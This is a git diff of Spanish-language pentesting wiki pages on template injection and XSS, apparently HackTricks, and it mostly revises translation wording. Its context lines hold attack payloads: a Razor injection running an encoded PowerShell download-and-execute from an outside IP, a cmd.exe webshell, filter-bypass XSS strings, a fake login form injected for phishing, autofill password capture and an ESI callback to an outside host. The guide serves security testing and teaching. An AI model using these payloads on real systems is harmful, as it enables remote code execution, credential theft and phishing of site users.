* `@(2+2) <= Éxito`
|
* `@(2+2) <= Éxito`
|
||||||
|
@ -863,7 +907,7 @@ ${x}
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||||
|
|
||||||
El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||||
|
|
||||||
**Más información**
|
**Más información**
|
||||||
|
|
||||||
|
@ -901,6 +945,8 @@ En el motor de plantillas de Go, la confirmación de su uso se puede hacer con c
|
||||||
* `{{printf "%s" "ssti" }}`: Se espera que muestre la cadena "ssti".
|
* `{{printf "%s" "ssti" }}`: Se espera que muestre la cadena "ssti".
|
||||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Estas cargas útiles deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go [aquí](https://golang.org/pkg/text/template).
|
* `{{html "ssti"}}`, `{{js "ssti"}}`: Estas cargas útiles deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go [aquí](https://golang.org/pkg/text/template).
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
**Explotación de XSS**
|
**Explotación de XSS**
|
||||||
|
|
||||||
Con el paquete `text/template`, XSS puede ser directo al insertar la carga útil directamente. En contraste, el paquete `html/template` codifica la respuesta para prevenir esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `<script>alert(1)</script>`). No obstante, la definición e invocación de plantillas en Go pueden eludir esta codificación: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
Con el paquete `text/template`, XSS puede ser directo al insertar la carga útil directamente. En contraste, el paquete `html/template` codifica la respuesta para prevenir esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `<script>alert(1)</script>`). No obstante, la definición e invocación de plantillas en Go pueden eludir esta codificación: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# XSS (Cross Site Scripting)
|
# XSS (Cross Site Scripting)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
|
||||||
|
|
||||||
## Metodología
|
## Metodología
|
||||||
|
|
||||||
1. Verifica si **cualquier valor que controles** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
|
1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
|
||||||
2. **Encuentra el contexto** donde se refleja/utiliza.
|
2. **Encuentra el contexto** donde se refleja/utiliza.
|
||||||
3. Si está **reflejado**
|
3. Si está **reflejado**
|
||||||
1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil:
|
1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil:
|
||||||
|
@ -19,7 +19,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
|
||||||
4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md)?
|
4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md)?
|
||||||
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/)?
|
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/)?
|
||||||
2. Dentro de una **etiqueta HTML**:
|
2. Dentro de una **etiqueta HTML**:
|
||||||
1. ¿Puedes salir al contexto de HTML crudo?
|
1. ¿Puedes salir al contexto HTML crudo?
|
||||||
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
|
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
|
||||||
3. ¿El atributo donde estás atrapado soporta la ejecución de JS?
|
3. ¿El atributo donde estás atrapado soporta la ejecución de JS?
|
||||||
4. ¿Puedes eludir protecciones?
|
4. ¿Puedes eludir protecciones?
|
||||||
|
@ -30,7 +30,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
|
||||||
4. ¿Puedes eludir protecciones?
|
4. ¿Puedes eludir protecciones?
|
||||||
4. Función de Javascript **siendo ejecutada**
|
4. Función de Javascript **siendo ejecutada**
|
||||||
1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
|
1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
|
||||||
4. Si está **utilizado**:
|
4. Si **utilizado**:
|
||||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
|
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
|
||||||
|
|
||||||
Al trabajar en un XSS complejo, podría ser interesante saber sobre:
|
Al trabajar en un XSS complejo, podría ser interesante saber sobre:
|
||||||
|
@ -43,7 +43,7 @@ Al trabajar en un XSS complejo, podría ser interesante saber sobre:
|
||||||
|
|
||||||
Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web.
|
Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web.
|
||||||
|
|
||||||
* **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejado en la página web, podrías explotar un **XSS Reflejado**.
|
* **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
|
||||||
* **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
|
* **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
|
||||||
* **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**.
|
* **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**.
|
||||||
|
|
||||||
|
@ -54,15 +54,15 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
|
||||||
### HTML crudo
|
### HTML crudo
|
||||||
|
|
||||||
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas posibles etiquetas HTML que podrías usar.\
|
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas posibles etiquetas HTML que podrías usar.\
|
||||||
Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
|
Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
|
||||||
|
|
||||||
### Dentro del atributo de etiquetas HTML
|
### Dentro de atributos de etiquetas HTML
|
||||||
|
|
||||||
Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, podrías intentar:
|
Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, podrías intentar:
|
||||||
|
|
||||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se esté reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor y **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||||
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
|
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
||||||
|
@ -100,7 +100,7 @@ Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variabl
|
||||||
|
|
||||||
Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se puede ver en la práctica es algo como: `?callback=callbackFunc`.
|
Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se puede ver en la práctica es algo como: `?callback=callbackFunc`.
|
||||||
|
|
||||||
Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:
|
Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ejecutarse es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (711).png>)
|
![](<../../.gitbook/assets/image (711).png>)
|
||||||
|
|
||||||
|
@ -243,7 +243,7 @@ onerror=alert`1`
|
||||||
```
|
```
|
||||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||||
Más de estos caracteres se pueden encontrar [aquí](https://www.unicode.org/charts/normalization/).\
|
Más de estos caracteres se pueden encontrar [aquí](https://www.unicode.org/charts/normalization/).\
|
||||||
Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.compart.com/en/unicode/U+2121).
|
Para verificar en qué caracteres se descompone, consulta [aquí](https://www.compart.com/en/unicode/U+2121).
|
||||||
|
|
||||||
### Click XSS - Clickjacking
|
### Click XSS - Clickjacking
|
||||||
|
|
||||||
|
@ -359,17 +359,17 @@ _**En este caso, el truco de codificación HTML y el truco de codificación Unic
|
||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de ser ejecutada.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
|
Además, hay otro **truco interesante** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de ser ejecutada.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
|
||||||
```javascript
|
```javascript
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||||
```
|
```
|
||||||
Nota que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, **no funcionará**, pero puedes **mezclarlos dentro de la carga útil**.
|
Nota que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload** no **funcionará**, pero puedes **mezclarlos dentro del payload**.
|
||||||
|
|
||||||
**Usando codificación Hex y Octal con `javascript:`**
|
**Usando codificación Hex y Octal con `javascript:`**
|
||||||
|
|
||||||
Puedes usar **codificación Hex** y **Octal** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
|
Puedes usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
|
@ -385,15 +385,15 @@ Puedes usar **codificación Hex** y **Octal** dentro del atributo `src` de `ifra
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
Si puedes inyectar cualquier URL en una etiqueta arbitraria **`<a href=`** que contenga los atributos **`target="_blank" y rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
|
Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank" y rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
|
||||||
|
|
||||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### sobre el Bypass de Controladores de Eventos
|
### Bypass de Controladores de Eventos
|
||||||
|
|
||||||
Primero que nada, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
|
Primero que nada, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener **"controladores de eventos"** útiles.\
|
||||||
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
|
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
|
||||||
```javascript
|
```javascript
|
||||||
<svg onload%09=alert(1)> //No safari
|
<svg onload%09=alert(1)> //No safari
|
||||||
|
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
|
||||||
Opera: %09 %20 %2C %3B
|
Opera: %09 %20 %2C %3B
|
||||||
Android: %09 %20 %28 %2C %3B
|
Android: %09 %20 %28 %2C %3B
|
||||||
```
|
```
|
||||||
### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónico, meta)
|
### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónica, meta)
|
||||||
|
|
||||||
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de entradas ocultas con:**
|
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de entradas ocultas con:**
|
||||||
```html
|
```html
|
||||||
|
@ -478,7 +478,7 @@ Si tu código se inserta dentro de `<script> [...] var input = 'datos reflejados
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
Note que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados se lleva a cabo solo después.
|
Note que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se lleva a cabo después.
|
||||||
|
|
||||||
### Dentro del código JS
|
### Dentro del código JS
|
||||||
|
|
||||||
|
@ -493,7 +493,7 @@ Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde tu en
|
||||||
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
|
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
|
||||||
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||||
|
|
||||||
Esto puede ser **abusado** usando:
|
Esto se puede **abusar** usando:
|
||||||
```javascript
|
```javascript
|
||||||
`${alert(1)}`
|
`${alert(1)}`
|
||||||
`${`${`${`${alert(1)}`}`}`}`
|
`${`${`${`${alert(1)}`}`}`}`
|
||||||
|
@ -555,7 +555,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||||
<TAB>
|
<TAB>
|
||||||
/**/
|
/**/
|
||||||
```
|
```
|
||||||
**Comentarios de JavaScript (del** [**truco de Comentarios de JavaScript**](./#javascript-comments) **)**
|
**Comentarios de JavaScript (de** [**Comentarios de JavaScript**](./#javascript-comments) **truco)**
|
||||||
```javascript
|
```javascript
|
||||||
//This is a 1 line comment
|
//This is a 1 line comment
|
||||||
/* This is a multiline comment*/
|
/* This is a multiline comment*/
|
||||||
|
@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||||
```
|
```
|
||||||
**Saltos de línea de JavaScript (de** [**trampa de salto de línea de JavaScript**](./#javascript-new-lines) **)**
|
**Saltos de línea de JavaScript (de** [**trucos de saltos de línea de JavaScript**](./#javascript-new-lines) **)**
|
||||||
```javascript
|
```javascript
|
||||||
//Javascript interpret as new line these chars:
|
//Javascript interpret as new line these chars:
|
||||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||||
|
@ -736,7 +736,7 @@ top[8680439..toString(30)](1)
|
||||||
## **Vulnerabilidades DOM**
|
## **Vulnerabilidades DOM**
|
||||||
|
|
||||||
Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||||
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se trasladó a esta página**](dom-xss.md)**:**
|
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM se movió a esta página**](dom-xss.md)**:**
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
|
@ -763,7 +763,7 @@ Quizás un usuario pueda compartir su perfil con el administrador y si el self X
|
||||||
|
|
||||||
### Reflejo de Sesión
|
### Reflejo de Sesión
|
||||||
|
|
||||||
Si encuentras algún self XSS y la página web tiene un **reflejo de sesión para administradores**, por ejemplo, permitiendo a los clientes pedir ayuda y para que el administrador te ayude, él verá lo que tú ves en tu sesión pero desde su sesión.
|
Si encuentras algún self XSS y la página web tiene un **reflejo de sesión para administradores**, por ejemplo, permitiendo a los clientes pedir ayuda y para que el administrador te ayude, él verá lo que tú estás viendo en tu sesión pero desde su sesión.
|
||||||
|
|
||||||
Podrías hacer que el **administrador desencadene tu self XSS** y robar sus cookies/sesión.
|
Podrías hacer que el **administrador desencadene tu self XSS** y robar sus cookies/sesión.
|
||||||
|
|
||||||
|
@ -822,7 +822,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||||
```
|
```
|
||||||
### XSS con inyección de encabezados en una respuesta 302
|
### XSS con inyección de encabezados en una respuesta 302
|
||||||
|
|
||||||
Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil.
|
Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que solo una carga útil de scripting entre sitios es inútil.
|
||||||
|
|
||||||
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
|
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
|
||||||
Protocolos conocidos pasados: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.
|
Protocolos conocidos pasados: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.
|
||||||
|
@ -897,7 +897,7 @@ import { partition } from "lodash";
|
||||||
```
|
```
|
||||||
Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval para abusar de que puede desencadenar XSS.
|
Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval para abusar de que puede desencadenar XSS.
|
||||||
|
|
||||||
* [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta característica está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
|
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta función está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
|
||||||
```html
|
```html
|
||||||
<script type="speculationrules">
|
<script type="speculationrules">
|
||||||
{
|
{
|
||||||
|
@ -1206,7 +1206,7 @@ Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium
|
||||||
```markup
|
```markup
|
||||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||||
```
|
```
|
||||||
### Captura de contraseñas de autocompletado
|
### Captura de contraseñas de autocompletar
|
||||||
```javascript
|
```javascript
|
||||||
<b>Username:</><br>
|
<b>Username:</><br>
|
||||||
<input name=username id=username>
|
<input name=username id=username>
|
||||||
|
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
||||||
|
|
||||||
### XSS a SSRF
|
### XSS a SSRF
|
||||||
|
|
||||||
¿Tienes XSS en un **sitio que utiliza caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
|
¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
|
@ -1370,7 +1370,7 @@ AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos mó
|
||||||
|
|
||||||
El formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
|
El formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
|
||||||
|
|
||||||
Ejemplo [**escrito XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
Ejemplo [**escrito sobre XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||||
|
|
||||||
### XSS subiendo archivos (svg)
|
### XSS subiendo archivos (svg)
|
||||||
|
|
||||||
|
@ -1446,7 +1446,7 @@ Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheat
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
